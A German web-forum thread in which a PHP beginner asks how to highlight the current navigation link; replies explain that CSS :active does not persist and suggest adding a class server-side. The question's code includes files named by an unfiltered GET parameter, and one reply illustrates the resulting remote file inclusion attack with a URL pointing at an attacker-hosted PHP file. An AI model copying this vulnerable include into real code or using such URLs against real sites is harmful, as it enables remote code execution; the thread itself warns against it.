Nick: Aktiven Link nach Reload hervorheben

Hallo,

bitte entschuldigt die etwas ungenaue Bezeichnung des Themas.

Meine Test-Webseite (index.php) besteht u.a. aus zwei Kernbestandteilen:

1.) INHALT (wird aus externer Datei geladen)

<?php $inhalt = $_GET["inhalt"];
if (empty($_GET["inhalt"])) include("link0.php");
else (include($inhalt.".php"));
?>

2.) NAVIGATION

<ul id="navigation">
<li><a href="index.php?inhalt=link1">LINK 1</a></li>
<li><a href="index.php?inhalt=link2">LINK 2</a></li>
</ul>

Das Aussehen der Navigation wird über ein externes CSS definiert (a: link, a:visited, a:hover, a:active, usw.). Soweit so gut. Leider wird der aktive Link (a:active) nach dem Laden der jeweiligen Seite (bei Klick auf Link 2 wäre das dann index.php?inhalt=link2) nicht hervorgehoben, sondern als normaler Link (a:link) angezeigt. Der Grund hierfür ist sicher der, dass die index.php neu geladen wird. Gibt es eine Möglichkeit, dass a:active dennoch angezeigt wird?

Ich bedanke mich schon mal für eure Hilfe und wünsche euch allen einen erholsamen Feiertag!

  1. <?php $inhalt = $_GET["inhalt"];
    if (empty($_GET["inhalt"])) include("link0.php");
    else (include($inhalt.".php"));

    Also bevor mein richtige Beitrag kommt !
    ---> Kille _SOFORT_ diese Zeile !

    else (include($inhalt.".php"));

    Das ist so ziemlich das unsicherste überhaupt, was man machen kann !!!!!!!!!!!

  2. <ul id="navigation">
    <li><a href="index.php?inhalt=link1">LINK 1</a></li>
    <li><a href="index.php?inhalt=link2">LINK 2</a></li>
    </ul>

    Also nun der Beitrag ;-)

    Du könntest das mit PHP reingenerieren:
    <ul id="navigation">
    <li><a href="index.php?inhalt=link1" <?php if ($_GET['inhalt'] == "LINK 1") { echo 'class="active_link"; } ?>>LINK 1</a></li>
    <li><a href="index.php?inhalt=link2" <?php if ($_GET['inhalt'] == "LINK 2") { echo 'class="active_link"; } ?>>LINK 2</a></li>
    </ul>

    Aber es könnte auch mit einer Template Engine funktionieren:
    ---> http://smarty.php.net/ IMHO die beste Template Engine für PHP ;)

    Da würde das so aussehen
    <ul id="navigation">
    <li><a href="index.php?inhalt=link1" {if $smarty.get.inhalt == "LINK 1"}class="active_link"{/if}>LINK 1</a></li>
    <li><a href="index.php?inhalt=link2" {if $smarty.get.inhalt == "LINK 2"}class="active_link"{/if}>LINK 2</a></li>
    </ul>

    Wie das ganze mit CSS gehen könnte, kann ich dir leider nicht sagen, da ich mich da zu wenig auskenne :_/

    1. Hey, danke!

      Werd' gleich mal beides ausprobieren. Was ist an der Zeile soo unsicher?! (Ich fang gerdade erst mit PHP an...)

      1. Werd' gleich mal beides ausprobieren. Was ist an der Zeile soo unsicher?! (Ich fang gerdade erst mit PHP an...)

        Oh oh
        Musst noch viel lernen ;-)

        Stell dir mal folgendes Szenario vor:
        Deine Seite ist auf http://www.testing.de/seite.php zu finden.

        Nun seine Links so:
        <a href="seite.php?inhalt=seite2">Seite 2</a>

        Dein PHP Script erhält dann folgende Daten:
        $_GET['inhalt'] = "seite2";
        du machst daraus:
        $inhalt = $_GET['inhalt'];

        so nun kommt deine "Logik" ins Spiel

          
        <?php  
        if (empty($_GET["inhalt"])) {  
          include("link0.php");  
        } else {  
          include($inhalt.".php");  
        } // Ich hab mal deine Code n bissl gesäubert ;-)  
        ?>  
        
        

        So weit so gut...

        Nun kommt aber der böse User !

        Und der geht nicht auf diese Seite:
        http://www.testing.de/seite.php?inhalt=seite2

        sondern er ruft diese Seite auf:
        http://www.testing.de/seite.php?inhalt=http://www.masterhacking.de/hacker

        nun bekommt dein Script diese Daten:
        $_GET['inhalt'] = "http://www.masterhacking.de/hacker";

        folglich wird
        if (empty($_GET["inhalt"])) {
          include("link0.php");
        }
        _NICHT_ ausgeführt...

        somit kommt er dann in den else-Zweig:
        include($inhalt.".php");

        ABER (und nun kommt das unsichere)
        er includet ja nicht seite2.php

        SONDERN !
        http://www.masterhacking.de/hacker.php !

        Und in dieser Datei kann stehen, was will !
        ---> Darauf hast du absolut keine Einfluss... der könnte dir evtl. deine _komplette_ Datenbank ausleeren, oder _alle_ anderen PHP Dateien löschen, die er findet oder was weiß ich was...

        Ich hoffe ich habe dich in dieser Beziehung nun abgehärtet ;)

        Um das noch zu vertiefen, lade dir doch mal diese Datei runter:
        http://www.johannes-leimer.de/php.ppt

  3. Hallo Nick,

    bitte entschuldigt die etwas ungenaue Bezeichnung des Themas.

    Nein, schon okay; aus dem Titel konnte ich schon ahnen, was dein Problem ist.

    Leider wird der aktive Link (a:active) nach dem Laden der jeweiligen Seite (bei Klick auf Link 2 wäre das dann index.php?inhalt=link2) nicht hervorgehoben, sondern als normaler Link (a:link) angezeigt.

    Genau hier liegt der Hase im Pfeffer: Du hast ein Verständnisproblem mit der Pseudoklasse :active. Du glaubst, :active gelte die ganze Zeit, während der die durch den Link geladene Seite angezeigt wird.

    Das ist aber ein Irrtum.

    In Wirklichkeit gilt :active nur vom Niederdrücken der Maustaste auf dem Link bis zum Loslassen der Taste. Oder, wenn du deinen Browser lieber mit der Tastatur bedienst, vom Drücken der Taste bis zur Verarbeitung des Tastendrucks durch den Browser.

    Der Grund hierfür ist sicher der, dass die index.php neu geladen wird.

    Nein, das hat damit nichts zu tun. Dadurch wird nur ein Fehler des IE vertuscht, durch den :active in diesem (und nur in diesem) Browser genau so funktioniert, wie du es erwartest: Für den IE gilt :active vom Anklicken des Links bis zum Laden einer neuen Seite oder bis zum Klicken an eine andere Stelle des Dokuments, je nachdem was früher eintritt. Das ist aber das Verhalten, das eigentlich für :focus gelten sollte.

    Gibt es eine Möglichkeit, dass a:active dennoch angezeigt wird?

    Du meinst, eine Möglichkeit, den Link kenntlich zu machen, der zur gerade angezeigten Seite geführt hat?
    Nein, keine einfache. Aber da du schon PHP verwendest, könntest du mit einer serverseitigen Lösung nachhelfen: Dem Link, dessen href-Attribut der gerade erzeugten Seite entspricht, ein zusätzliches Merkmal verpassen, das du mit CSS auswerten kannst (also eine Klasse oder eine ID).

    So long,

    Martin

    1. Hi,

      Dem Link, dessen href-Attribut der gerade erzeugten Seite entspricht, ein zusätzliches Merkmal verpassen

      Und welchen Sinn hat ein Link auf die gerade angezeigte Seite? Genau... also gleich das a-Element entfernen oder duch ein anderes ersetzen.

      freundliche Grüße
      Ingo